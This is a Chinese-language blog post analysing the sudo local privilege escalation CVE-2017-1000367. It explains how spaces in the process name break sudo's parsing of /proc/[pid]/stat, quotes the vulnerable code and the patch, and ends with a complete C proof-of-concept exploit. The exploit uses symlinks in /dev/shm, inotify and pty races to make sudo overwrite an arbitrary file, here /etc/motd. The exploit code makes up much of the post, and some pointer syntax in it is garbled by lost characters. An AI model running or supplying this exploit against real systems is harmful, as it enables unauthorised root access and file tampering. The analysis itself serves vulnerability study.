sudo本地提权 CVE-2017-1000367 漏洞分析
12 Jun 2017 - Tr3jer_CongRong
该漏洞发生在/src/ttyname.c的get_process_ttyname()
函数,sudo在获取tty设备号时没有正确解析/proc/[pid]/stat的内容。首先,/proc/[pid]的stat包含了所有的CPU活跃信息,有关触发此漏洞的两个stat参数分别为:
第2个:comm应用程序或命令的名字
第7个:tty_nr也就是tty设备号
这些参数是使用空格进行分割的,再来看看get_process_ttyname()函数是怎么获取tty_nr
的:
len = getline(&line, &linesize, fp);
fclose(fp);
if (len != -1) {
/ Field 7 is the tty dev (0 if no tty) /
char cp = line;
char ep = line;
const char errstr;
int field = 0;
while (++ep != '\0') {
if (ep == ' ') {
ep = '\0';
if (++field == 7) {
dev_t tdev = strtonum(cp, INT_MIN, INT_MAX, &errstr);
if (errstr) {
sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO,
"%s: tty device %s: %s", path, cp, errstr);
程序在获取tty_nr时也就是根据多少空格个来判断当前是哪个参数,那么上面提到的第2个参数comm,这个参数是以括号独立起来的,并且程序或命令的名字当然允许包含空格。那么就可以通过控制comm参数的空格导致tty_nr的值同样被控制,使得本地攻击者来覆盖文件系统上的任何文件,从而绕过预期权限或获取root shell。
再来看看补丁,补丁第一处是将get_process_ttyname()函数在获取tty_nr时从’)’后开始获取,这样避免了comm包含空格的特性:
if (nread == 0 && memchr(buf, '\0', cp - buf) == NULL) {
/
Field 7 is the tty dev (0 if no tty).
Since the process name at field 2 "(comm)" may include
whitespace (including newlines), start at the last ')' found.
/
cp = '\0';
cp = strrchr(buf, ')');
if (cp != NULL) {
char ep = cp;
const char errstr;
int field = 1;
while (++ep != '\0') {
if (ep == ' ') {
ep = '\0';
if (++field == 7) {
dev_t tdev = strtonum(cp, INT_MIN, INT_MAX, &errstr);
if (errstr) {
sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO,
"%s: tty device %s: %s", path, cp, errstr);
}
if (tdev > 0) {
errno = serrno;
ret = sudo_ttyname_dev(tdev, name, namelen);
goto done;
}
break;
}
cp = ep + 1;
}
}
}
}
第二处是添加了搜索设备号对应的设备名的两个地址:
static char ignore_devs[] = {
"/dev/fd/",
+ "/dev/mqueue/",
+ "/dev/shm/",
"/dev/stdin",
"/dev/stdout",
"/dev/stderr",
POC:
#define _GNU_SOURCE
#include <errno.h>
#include <linux/sched.h>
#include <pty.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#define EVENT_SIZE ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN ( 1024 ( EVENT_SIZE + 16 ) )
int main( )
{
int length, i = 0;
int fd;
int wd;
char buffer[EVENT_BUF_LEN];
int master, slave;
char pts_path[256];
cpu_set_t mask;
struct sched_param params;
params.sched_priority = 0;
CPU_ZERO(&mask);
CPU_SET(0, &mask);
mkdir("/dev/shm/_tmp", 0755);
symlink("/dev/pts/57", "/dev/shm/_tmp/_tty");
symlink("/usr/bin/sudo", "/dev/shm/_tmp/ 34873 ");
fd = inotify_init();
wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE );
pid_t pid = fork();
if(pid == 0) {
sched_setaffinity(pid, sizeof(mask), &mask);
sched_setscheduler(pid, SCHED_IDLE, ¶ms);
setpriority(PRIO_PROCESS, pid, 19);
sleep(1);
execlp("/dev/shm/_tmp/ 34873 ", "sudo", "-r", "unconfined_r", "/usr/bin/sum", "—\nHELLO\nWORLD\n", NULL);
}else{
setpriority(PRIO_PROCESS, 0, -20);
int state = 0;
while(1) {
length = read( fd, buffer, EVENT_BUF_LEN );
kill(pid, SIGSTOP);
i=0;
while ( i < length ) {
struct inotify_event event = ( struct inotify_event * ) &buffer[ i ];
if ( event->mask & IN_OPEN ) {
//kill(pid, SIGSTOP);
while(strcmp(pts_path,"/dev/pts/57")){
openpty(&master, &slave, &pts_path[0], NULL, NULL);
};
//kill(pid, SIGCONT);
break;
}else if ( event->mask & IN_CLOSE_NOWRITE ) {
//kill(pid, SIGSTOP);
unlink("/dev/shm/_tmp/_tty");
symlink("/etc/motd", "/dev/shm/_tmp/_tty");
//kill(pid, SIGCONT);
state = 1;
break;
}
i += EVENT_SIZE + event->len;
}
kill(pid, SIGCONT);
if(state == 1) break;
}
waitpid(pid, NULL, 0);
inotify_rm_watch( fd, wd );
close( fd );
close(wd);
unlink("/dev/shm/_tmp/_tty");
unlink("/dev/shm/_tmp/ 34873 ");
rmdir("/dev/shm/_tmp");
close(master);
close(slave);
}
}